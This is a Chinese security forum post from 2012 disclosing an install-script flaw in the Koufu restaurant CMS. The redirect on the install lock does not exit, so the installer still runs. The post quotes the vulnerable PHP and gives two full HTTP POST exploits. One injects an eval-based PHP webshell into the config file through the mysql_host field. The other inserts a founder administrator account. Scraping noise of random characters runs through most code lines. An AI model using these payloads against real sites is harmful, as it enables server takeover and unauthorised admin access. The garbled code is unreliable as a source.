找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2012|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。  \3 r( m6 y7 M7 T6 g: u

1 \1 ^& V/ J4 W* F7 ^: v<?php
+ P% e# e6 l0 ^3 N  pif(file_exists("../install.lock"))  ~7 U7 a; j1 r: c/ B
{
6 a2 r% m+ L8 X/ @3 b4 a* ^    header("Location: ../");//没有退出
  E8 {) G0 q* _4 u/ p}4 R  A' f2 V+ m1 Z% k' @$ H$ F
               
8 o' H9 N5 I% X9 }//echo 'tst';exit;
& r. c1 {5 Y- _! i! Orequire_once("init.php");  o8 ]$ n3 O7 F3 S8 p9 x" ~
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)2 [# {( |/ S8 m3 n
{
( x1 O4 h0 X% C可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
/ E, b1 g" J+ V+ e5 T0 X& h, [5 {$ \  e6 n4 p/ f" _) Q6 X" z! g
1、getshell(很危险)$ w$ @$ v! @7 K* x- I8 g
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)6 {* h# Z$ i4 C  S! o! z
{
; U1 T- G2 D, U. R$smarty->assign("step",1);* z/ j; D$ y: |9 u" a$ U) O
$smarty->display("index.html");
" `8 y- o0 F7 ?/ G+ l0 U}elseif($_REQUEST['step']==2)
( k# T* E  m, i  E! l{: c; _6 M) ^, H' i! E$ K
    $mysql_host=trim($_POST['mysql_host']);, f% M: Q0 R+ t0 i
    $mysql_user=trim($_POST['mysql_user']);
$ _! d5 S- U( A5 E3 z    $mysql_pwd=trim($_POST['mysql_pwd']);& p* `4 K  c- {1 g& y
    $mysql_db=trim($_POST['mysql_db']);
0 D9 b$ x" P* Z/ w  @    $tblpre=trim($_POST['tblpre']);
# A# i* R: c3 z2 }    $domain==trim($_POST['domain']);
/ N; C9 _/ f" c7 O+ Q% G5 Q% [    $str="<?php \r\n";5 h# L) w3 G8 o' E- J3 R- q2 H
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
" }1 P* q3 N; h3 ]) @5 b    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
$ g9 A9 _2 Z7 m" {* D/ o' u- h    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
- v! l; H6 O7 b: r/ _0 w! ~    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
  t" s+ K+ z7 }% c6 U* s: P    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
! `8 g' h- Y% B& Y) d    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";; g5 l5 c" {: v2 ^
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";6 h2 _3 q( K% ^+ B# ^
    $str.='define("SKINS","default");'."\r\n";# B8 M/ {1 S0 v/ c7 D1 n9 s
    $str.='?>';
3 q3 |9 y# I( J0 L    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件3 r0 \5 e9 A" X
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马, y, i6 Q( I, N. U$ U6 X: X5 B
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
, {, p6 ]1 ~' V& yHost: 192.168.80.1299 c' g/ y% n) K7 L7 e# T8 r
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0# @5 W% I$ h; U* i0 y
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Z9 M7 i6 V  b% cAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.34 e) e  j( i* x- u" j+ @  A* N4 z
Accept-Encoding: gzip, deflate+ _+ J! G# m2 m
Referer: http://192.168.80.129/canting/install/index.php?step=17 t3 K% p7 r$ i0 X' `
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
; y, \7 y1 k4 N* t6 B9 s. LContent-Type: application/x-www-form-urlencoded
# |7 q' J  Z* x2 g6 b0 P. {Content-Length: 126
( H! X+ e# @/ B+ l( [         
9 h0 h# M  x' m3 Q% Q% @mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
- w! `  F- Y: `0 N# S- [. T( \但是这个方法很危险,将导致网站无法运行。
  g+ |6 u* p0 g) B7 n% J7 _& \8 V% v1 d
2、直接添加管理员. ~' R- D' y6 j) \3 j- q, K% x
8 p) K7 p4 p: J  y7 g
elseif($_REQUEST['step']==5)
  [4 p: z& [& n$ V{
7 C" S) S4 E! ]* {6 I    if($_POST)
2 n; L- t4 y; e# `2 l    {   require_once("../config/config.inc.php");
4 l" L2 C# P% m8 Z$ U- P& s( g        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);4 P0 t/ L5 E+ {. L* Q7 b% Y. G3 @
        mysql_select_db(MYSQL_DB,$link);
5 q# w# J1 A4 T0 o" ?4 {9 ?        mysql_query("SET NAMES ".MYSQL_CHARSET );- _( N% r7 b9 X" _
         mysql_query("SET sql_mode=''");8 }9 z# g3 f# P) e) @

, u: d3 N# E/ M3 W* V0 c $adminname=trim($_POST['adminname']);8 S; P, v% C6 `# O( z+ p9 G: d
        $pwd1=trim($_POST['pwd1']);1 E5 j3 A/ u; k7 E
        $pwd2=trim($_POST['pwd2']);$ u2 {4 X7 ]( I5 _9 g4 w& [
        if(empty($adminname))
3 `) ~0 u0 w' w% Z        {6 [7 r  L- B. b9 c

4 g" z$ [1 z: f* v echo "<script>alert('管理员不能为空');history.go(-1);</script>";* B4 N/ b  r$ l/ R, K2 g6 o: z
            exit();
3 D. @4 X* s, Y7 x% b* Q        }
8 O% l9 H2 R) \, E: [        if(($pwd1!=$pwd2) or empty($pwd1)). q1 a% y7 X4 `- d  |* o9 w
        {
3 g7 I; S% n- Q. U- L! T            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
; ?# }8 W/ I. P+ D$ k/ Y1 A0 E        }
/ Q0 C4 L! T* B# a7 v        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
3 v& b, A' x1 x3 T3 a8 T: W    }; ]6 h% [  t( N8 ]; I+ s( }' [7 E8 W
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
4 X: P" l" g  pPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
4 ]. D' M2 H2 z8 N4 O/ o& bHost: 192.168.80.129
" C1 P6 n2 u2 [6 X# FUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
  [! E5 M' ^* m4 x) `' x! WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 \' w5 [' s- i! z+ M4 J4 eAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
) ^, b  P' f3 e- C# O# _Accept-Encoding: gzip, deflate. i# Y: B# w+ O" i" j5 _
Referer: http://www.2cto.com /canting/install/index.php?step=1
  S$ d6 n* w& S( ~; i6 O! f. [+ {Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc427 I1 S) w5 k9 B' H% m
Content-Type: application/x-www-form-urlencoded" E' U6 \/ ^& N- G
Content-Length: 46
" a% W2 s9 e0 c5 K! P4 }- z      9 S6 T7 x0 N6 s# b% J# S# Q! X, e' k& c
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
3 b3 {$ D. i; e* l$ v& f% h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表